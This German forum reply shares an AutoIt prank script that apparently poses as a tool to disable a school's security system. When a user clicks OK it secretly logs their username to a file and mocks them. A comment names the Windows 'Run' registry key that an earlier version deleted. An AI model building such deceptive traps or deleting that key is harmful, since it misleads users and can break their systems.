warum so umständlich
hab es ganz einfach gemach
[autoit]HotKeySet("{ESC}", "_Terminate")
[/autoit][autoit][/autoit][autoit]Func _Terminate()
MsgBox(0, "Schisser", "Hasst wohl Angst")
Exit 0
EndFunc
Global $name = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer", "Logon User Name")
[/autoit][autoit][/autoit][autoit][/autoit][autoit]#include <GUIConstants.au3>
[/autoit][autoit][/autoit][autoit]#Region ### START Koda GUI section ### Form=
$Form2 = GUICreate("Inis Töter", 316, 146, 347, 263)
GUISetIcon("D:\003.ico")
$Button1 = GUICtrlCreateButton("&OK", 65, 115, 75, 25, 0)
$Button2 = GUICtrlCreateButton("&Schließen mit esc", 162, 115, 100, 25, 0)
$Label1 = GUICtrlCreateLabel("Möchtest du Wirklich das Schulsicherheitssystem auf deinem", 10, 3, 291, 17)
$Label2 = GUICtrlCreateLabel("Computer Ausschalten?", 10, 20, 116, 17)
$Label3 = GUICtrlCreateLabel("Wenn Ja dann melde dich ab und wieder neu an und das", 10, 43, 275, 17)
$Label4 = GUICtrlCreateLabel("Schulsicherheitssystem ist ausgeschaltet", 10, 60, 195, 17)
$Label5 = GUICtrlCreateLabel("Benutzung auf eigene Gefahr", 32, 88, 250, 28)
GUICtrlSetFont(-1, 15, 400, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 0xFF0000)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
case $Button1
_Schau()
EndSwitch
WEnd
func _Schau()
[/autoit][autoit][/autoit][autoit];schreibt den namen des Benutzers in die text datei
$file = FileOpen("C:\WINDOWS\Schülerleute.txt", 1)
If $file = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf
Select
Case $name = "fboetsch"
FileWrite($file, " " & @CRLF)
Case $name = "kgeheeb"
FileWrite($file, " " & @CRLF)
Case Else
FileWrite($file, $name & @CRLF)
EndSelect
FileClose($file)
;hier löscht man eigentlich den ordner in der regestry,
;da ich damit aber meinen comp kaputgemacht habe (da bei mir, nicht wie in der schule nach jedem neustart alles neu ist) habe ich diese zeile lieber entfernt
; wer es trotzdem wissen will es war "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
MsgBox(0, "Haha", "Ich merk mir deinen Namen^^")
exit
endfunc
habe einfach die 2 variablen verglichen